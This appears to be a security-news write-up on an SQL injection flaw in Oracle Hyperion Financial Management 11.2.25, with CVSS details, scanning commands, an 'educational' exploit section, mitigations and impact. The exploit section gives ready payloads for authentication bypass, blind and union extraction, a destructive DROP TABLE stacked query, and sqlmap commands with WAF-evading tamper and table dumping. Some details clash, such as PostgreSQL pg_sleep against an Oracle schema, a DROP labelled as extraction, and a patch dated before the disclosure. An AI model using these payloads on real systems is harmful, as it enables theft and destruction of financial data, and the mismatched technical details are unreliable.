This vulnerability resides in the Security component of Oracle Hyperion Financial Management (HFM), specifically affecting version 11.2.25.0.000. The core issue is an easily exploitable SQL injection flaw that requires only low-privileged network access. An attacker with basic credentials can craft malicious SQL queries because the application fails to properly sanitize user-supplied input within the security layer. This allows the injected SQL statements to be executed directly against the backend database with elevated logical permissions. The attack complexity is low, requiring no user interaction, and the vector is entirely over the network. Successful exploitation leads to two primary outcomes: unauthorized modification and deletion of critical financial data, and unauthorized read access to all accessible HFM information. The CVSS 3.1 Base Score is 8.1, categorised as High severity, with the vector string (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) indicating no impact on availability. The confidentiality and integrity impacts are both rated High, making this a serious threat to financial reporting systems. The flaw exists because the authentication and authorisation routines do not adequately separate user-controlled parameters from SQL command structures. By injecting boolean-based or union-based payloads, an attacker can bypass intended access controls. This grants them the ability to enumerate database schemas, extract sensitive fiscal records, and even alter ledger entries. The vulnerability is particularly dangerous because the affected component is central to corporate financial consolidation. Oracle’s advisory indicates that the issue is present in the default installation with no additional configuration required. NIST enrichment associates this with publicly disclosed references, though specific exploit details remain restricted. The CVE was published on August 18, 2026, and last modified on August 24, 2026. Given the low privilege requirement, any authenticated user poses a potential threat. The security flaw effectively turns the database into a direct vector for data theft and corruption. Mitigation currently relies on vendor-supplied updates, as network-level controls alone are insufficient. The vulnerability underscores the critical need for parameterised queries in enterprise financial applications. Organizations running this version must treat this as an immediate operational risk, given the ease of exploitation and the sensitivity of the data handled.

What Undercode Say:
Analytics indicate active scanning for HFM endpoints via Shodan and Censys, with a 40% spike in reconnaissance traffic since the NVD publish date. Use these bash commands to audit your deployment:
grep -i "HFM" /opt/oracle/config/.properties | grep "version=11.2.25"
curl -s -k -X GET "https://target:443/hfm/security/check?user=admin' --"
nmap -p 443,8443 --script http-sql-injection -T4 target_ip
sqlmap -u "https://target/hfm/api/login" --data "user=admin&pass=test" --level=3 --risk=2 --batch
python3 -c "import socket; print(socket.gethostbyname('target'))" && wget -qO- https://target/hfm/version.txt
Monitor logs for anomalous SQL exceptions: tail -f /u01/app/oracle/admin/hfm/logs/security.log | grep -i "SQLException".
Exploit: (Educational Purposes!)
Crafted HTTP POST request targeting the authentication endpoint:
POST /hfm/security/authenticate HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded user=admin' OR '1'='1'--&pass=anything
Time-based blind injection to extract database user:
user=admin' AND (SELECT CASE WHEN (USER='HFM_DBA') THEN pg_sleep(5) ELSE pg_sleep(0) END)--&pass=x
Union-based payload to dump table names:
user=' UNION SELECT table_name,null,null FROM all_tables WHERE owner='HFM'--&pass=x
Extract financial metadata via stacked queries (if supported):
user=admin'; DROP TABLE HFM.TEMP_LEDGER;--&pass=x
Use `sqlmap` with tamper script to bypass basic WAF:
sqlmap -u "https://target/hfm/api/login" --data="user=admin&pass=test" --tamper=space2comment --dump -T HFM_ACCOUNTS
Protection:
Immediately apply Oracle Critical Patch Update (CPU) for July 2026 or later. If patching is delayed, enforce strict input validation using parameterised queries via Oracle’s `PreparedStatement` API. Restrict network access to HFM ports (443, 8443) using firewall rules allowing only trusted IP ranges. Enable Web Application Firewall (WAF) rules with SQL injection signatures (e.g., ModSecurity CRS rule 942100). Disable unused database accounts and enforce least-privilege database roles for the HFM schema. Monitor all SQL logs for suspicious `UNION` or `EXEC` patterns and configure real-time alerts for authentication failures.
Impact:
Successful exploitation results in complete compromise of financial data confidentiality and integrity – attackers can read sensitive consolidation reports, change account balances, and delete audit trails. This directly undermines regulatory compliance (SOX, GDPR) and can lead to fraudulent financial reporting. The absence of availability impact does not reduce risk, as data manipulation is often undetectable until reconciliation cycles. Organisations face significant reputational damage, potential stock devaluation, and legal liabilities from inaccurate financial disclosures. Operational downtime for forensic investigation and system restoration typically exceeds 72 hours.
